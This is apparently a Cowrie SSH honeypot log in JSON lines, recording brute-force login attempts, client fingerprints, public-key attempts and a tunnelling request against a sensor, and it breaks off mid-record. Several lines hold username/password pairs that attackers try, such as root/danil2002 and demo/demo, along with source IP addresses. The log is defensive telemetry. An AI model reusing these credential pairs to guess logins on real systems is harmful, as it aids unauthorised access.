{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:03.799923Z","src_ip":"45.153.34.97","session":"f8b38ea39c12","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:03.893243Z","session":"6f586a8f772e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:03.992898Z","src_ip":"87.251.64.176","session":"6f586a8f772e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xguest","password":"xguest","message":"login attempt [xguest/xguest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:04.078959Z","src_ip":"45.153.34.97","session":"f8b38ea39c12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:04.094720Z","src_ip":"87.251.64.176","session":"6f586a8f772e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zywang","message":"login attempt [root/zywang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:04.704138Z","src_ip":"159.65.8.74","session":"b7ca872f4fbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:05.174699Z","src_ip":"45.153.34.97","session":"f8b38ea39c12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:06.033261Z","src_ip":"159.65.8.74","session":"b7ca872f4fbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35002,"dst_ip":"159.203.135.109","dst_port":22,"session":"5542c54b3280","protocol":"ssh","message":"New connection: 103.195.236.96:35002 (159.203.135.109:22) [session: 5542c54b3280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:06.933030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:06.939365Z","src_ip":"103.195.236.96","session":"5542c54b3280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:07.178342Z","src_ip":"103.195.236.96","session":"5542c54b3280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danil2002","message":"login attempt [root/danil2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:07.932836Z","src_ip":"103.195.236.96","session":"5542c54b3280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":50326,"dst_ip":"10.17.0.5","dst_port":22,"session":"683c6a97bdbb","protocol":"ssh","message":"New connection: 45.153.34.97:50326 (10.17.0.5:22) [session: 683c6a97bdbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:08.374667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:08.408492Z","src_ip":"45.153.34.97","session":"683c6a97bdbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.159.104.219","src_port":43004,"dst_ip":"10.17.0.5","dst_port":22,"session":"d26916a09dc5","protocol":"ssh","message":"New connection: 51.159.104.219:43004 (10.17.0.5:22) [session: d26916a09dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:08.471161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:08.476008Z","src_ip":"51.159.104.219","session":"d26916a09dc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:08.560955Z","src_ip":"51.159.104.219","session":"d26916a09dc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:08.849554Z","src_ip":"45.153.34.97","session":"683c6a97bdbb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:16:51:3f:03:38:a1:92:7c:be:e1:8c:0c:63:f0:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeKBzX//BV2nUHO7WFWiIKuga85DxQ4ChWNePhF7fMSu56mGsuHBocnTjRSecBqUgF0rnz4sHcudqklMJoJtH/5r6GxXtePqA0/gzEPe1zDT/nawFvJnpXFL52eKYAk5PooYk5cT6VmkTP/GyESB9uNVWh3gHV/KuS5hSgmRImvZNovceZZSNWtZ4jIJP5cSOSzpARSTflF8mgbsKYNkH01yaMIM6dMjKMl9SfSjEt8zs8cJLqxwhgSe7cvcq1B7oXL/RLy5zodkFrbsd6Dclo7AfSCnpCNi19JI/cKOYG7mahdAm8NvPlyVm0mgzg4kMmuL23KL80wjc5nr3xUSL3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:16:51:3f:03:38:a1:92:7c:be:e1:8c:0c:63:f0:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:08.961320Z","src_ip":"51.159.104.219","session":"d26916a09dc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:16:51:3f:03:38:a1:92:7c:be:e1:8c:0c:63:f0:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeKBzX//BV2nUHO7WFWiIKuga85DxQ4ChWNePhF7fMSu56mGsuHBocnTjRSecBqUgF0rnz4sHcudqklMJoJtH/5r6GxXtePqA0/gzEPe1zDT/nawFvJnpXFL52eKYAk5PooYk5cT6VmkTP/GyESB9uNVWh3gHV/KuS5hSgmRImvZNovceZZSNWtZ4jIJP5cSOSzpARSTflF8mgbsKYNkH01yaMIM6dMjKMl9SfSjEt8zs8cJLqxwhgSe7cvcq1B7oXL/RLy5zodkFrbsd6Dclo7AfSCnpCNi19JI/cKOYG7mahdAm8NvPlyVm0mgzg4kMmuL23KL80wjc5nr3xUSL3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:08.964864Z","src_ip":"51.159.104.219","session":"d26916a09dc5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:50:04:78:78:6f:9a:8a:35:b3:f5:34:78:66:b9:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvQIbo3HEkwk2dSNDZO0toIYs4YknAz1khpmczKeklWYvXPY2LlhD3wzXAsLZMe2qMxuqOQ8psrzeGjqoZPk+SatKSrQ9MiM+g94UnT0M1nHuyOBKVWLnHgytwND71vXMQPLsE0zyWEL1Qgare8htYk4RFwOogTV7E6gJC5KRAkvw2UbUJ5A7pLHVL8Nd6H0NbGyMUzA0sElI1b21tAeoemjIDwntGuXHaXYsDxGpunygHiYGD/n8HGfXmemFYm1aYjhUJGvmpXnvlmQLPs6mFMBJRQ8HhMBPEYWsiMX35lmcLyNk2XSgeBQXp1i6jjP3RPqCP3cLF8AG6IHksLf1Iw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:50:04:78:78:6f:9a:8a:35:b3:f5:34:78:66:b9:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:09.049985Z","src_ip":"51.159.104.219","session":"d26916a09dc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:50:04:78:78:6f:9a:8a:35:b3:f5:34:78:66:b9:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvQIbo3HEkwk2dSNDZO0toIYs4YknAz1khpmczKeklWYvXPY2LlhD3wzXAsLZMe2qMxuqOQ8psrzeGjqoZPk+SatKSrQ9MiM+g94UnT0M1nHuyOBKVWLnHgytwND71vXMQPLsE0zyWEL1Qgare8htYk4RFwOogTV7E6gJC5KRAkvw2UbUJ5A7pLHVL8Nd6H0NbGyMUzA0sElI1b21tAeoemjIDwntGuXHaXYsDxGpunygHiYGD/n8HGfXmemFYm1aYjhUJGvmpXnvlmQLPs6mFMBJRQ8HhMBPEYWsiMX35lmcLyNk2XSgeBQXp1i6jjP3RPqCP3cLF8AG6IHksLf1Iw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:09.053767Z","src_ip":"51.159.104.219","session":"d26916a09dc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:09.096386Z","src_ip":"45.153.34.97","session":"683c6a97bdbb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:57:1a:90:c8:f3:4a:81:31:ac:94:18:01:29:c3:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuhelxvHmyqYUJtyKIp3bXnRHif3XISLf+OXdRaXqHHFIU6PuQ34tbnLHBrSeLQOBiNOPoSOmCl2F4b/jVALwWZj+Ar9AppHOOxDY4phOXVZAX9exEA4IX2YBhl98L1BijKrVqBOO36HeFG6vDcUnRzfX8151cRfCMb+lmkPpVwVRX5ERNh+afBzbOqJlL7zRrHD3siKfss/9cKfizpjsna9fRaCi3PgfnUFIATF9071FGW5lpnycn7GoQP3B7Nl9j9Myuc8FbpjCv+a5s6ZJHLmKP7ddNF8WjNts0j4GzgFw4S6QEkwm+Ut7V1x46u9d88lnH6sLwJJHOivWXRWIGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:57:1a:90:c8:f3:4a:81:31:ac:94:18:01:29:c3:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:09.138785Z","src_ip":"51.159.104.219","session":"d26916a09dc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:57:1a:90:c8:f3:4a:81:31:ac:94:18:01:29:c3:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuhelxvHmyqYUJtyKIp3bXnRHif3XISLf+OXdRaXqHHFIU6PuQ34tbnLHBrSeLQOBiNOPoSOmCl2F4b/jVALwWZj+Ar9AppHOOxDY4phOXVZAX9exEA4IX2YBhl98L1BijKrVqBOO36HeFG6vDcUnRzfX8151cRfCMb+lmkPpVwVRX5ERNh+afBzbOqJlL7zRrHD3siKfss/9cKfizpjsna9fRaCi3PgfnUFIATF9071FGW5lpnycn7GoQP3B7Nl9j9Myuc8FbpjCv+a5s6ZJHLmKP7ddNF8WjNts0j4GzgFw4S6QEkwm+Ut7V1x46u9d88lnH6sLwJJHOivWXRWIGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:09.142576Z","src_ip":"51.159.104.219","session":"d26916a09dc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:09.175598Z","src_ip":"103.195.236.96","session":"5542c54b3280","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:37:c2:38:ff:04:05:05:d5:fc:7e:29:0b:e1:55:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQConF7HksmoudFBCJ9dy23jxwixy1wWPWD7KPwRpaVjOWOV5b/EyigQf6rg+F5hZnlZZisFJFAmjV2QWVnu4EU9P5PXilTgv+N6wDYBtw9mNiVmTb6mF2Qyt1/wAL3+0ZUdMcACROGPME3eEjnyueGDFQMYOByFH6jwQ6ZIB4LYLL3dxKchhbjhUjjc0lJrRY8molqn3r7yG20o5i1WpsX56i4Fzr4j275WiOO3S1ltluDcusBEf6r0o+N9cPbanL1QUcTFZgcZ/L+s06N0sBBSqQgA7wDPtFVyP4ZB/RguRtT3ru/2+tqe4kiEZq6+4KSF8c2TOONnGLoTqRuCBY29","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:37:c2:38:ff:04:05:05:d5:fc:7e:29:0b:e1:55:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:09.227488Z","src_ip":"51.159.104.219","session":"d26916a09dc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:37:c2:38:ff:04:05:05:d5:fc:7e:29:0b:e1:55:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQConF7HksmoudFBCJ9dy23jxwixy1wWPWD7KPwRpaVjOWOV5b/EyigQf6rg+F5hZnlZZisFJFAmjV2QWVnu4EU9P5PXilTgv+N6wDYBtw9mNiVmTb6mF2Qyt1/wAL3+0ZUdMcACROGPME3eEjnyueGDFQMYOByFH6jwQ6ZIB4LYLL3dxKchhbjhUjjc0lJrRY8molqn3r7yG20o5i1WpsX56i4Fzr4j275WiOO3S1ltluDcusBEf6r0o+N9cPbanL1QUcTFZgcZ/L+s06N0sBBSqQgA7wDPtFVyP4ZB/RguRtT3ru/2+tqe4kiEZq6+4KSF8c2TOONnGLoTqRuCBY29","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:09.231614Z","src_ip":"51.159.104.219","session":"d26916a09dc5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:f4:e9:30:d1:97:fc:75:31:4f:7b:15:f9:4e:b9:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdtziDWPHkgJ1+m6bb8xP6nrJyREm+hRfZf9IRcnjsf/WXgku9yhFW9Xicc9wmckGFZVFctK4iXTpwBApT/NuXlXbDhYGO/jawwaRBaeZ+7NhdymTN5k+1F9agxu99x9Z2jlZhDa4Q9S31+v8tnsAeLtCTXcQBIgmYHzp7ZZ3NloDy5Wln+5z1C4cm8Xg6y9mOSoM09FQNhHRnjh5Ls11QuT2m3jdaeB5U6B4aNHWocvcDB64jzmjOhIyWS+7gbCoAqxCNhX35VcRrhCEJURDZ6SK+mAM82jX7sokPj9LsEYZ4J1B9VxU/eyu4792i4s0nteuRC71rNY3iwJi4DPyJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:f4:e9:30:d1:97:fc:75:31:4f:7b:15:f9:4e:b9:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:09.318578Z","src_ip":"51.159.104.219","session":"d26916a09dc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:f4:e9:30:d1:97:fc:75:31:4f:7b:15:f9:4e:b9:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdtziDWPHkgJ1+m6bb8xP6nrJyREm+hRfZf9IRcnjsf/WXgku9yhFW9Xicc9wmckGFZVFctK4iXTpwBApT/NuXlXbDhYGO/jawwaRBaeZ+7NhdymTN5k+1F9agxu99x9Z2jlZhDa4Q9S31+v8tnsAeLtCTXcQBIgmYHzp7ZZ3NloDy5Wln+5z1C4cm8Xg6y9mOSoM09FQNhHRnjh5Ls11QuT2m3jdaeB5U6B4aNHWocvcDB64jzmjOhIyWS+7gbCoAqxCNhX35VcRrhCEJURDZ6SK+mAM82jX7sokPj9LsEYZ4J1B9VxU/eyu4792i4s0nteuRC71rNY3iwJi4DPyJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:09.322728Z","src_ip":"51.159.104.219","session":"d26916a09dc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:09.408704Z","src_ip":"51.159.104.219","session":"d26916a09dc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:10.187800Z","src_ip":"45.153.34.97","session":"683c6a97bdbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":19672,"dst_ip":"10.17.0.5","dst_port":22,"session":"0199004ea3f1","protocol":"ssh","message":"New connection: 45.153.34.97:19672 (10.17.0.5:22) [session: 0199004ea3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:12.688596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:12.694008Z","src_ip":"45.153.34.97","session":"0199004ea3f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rs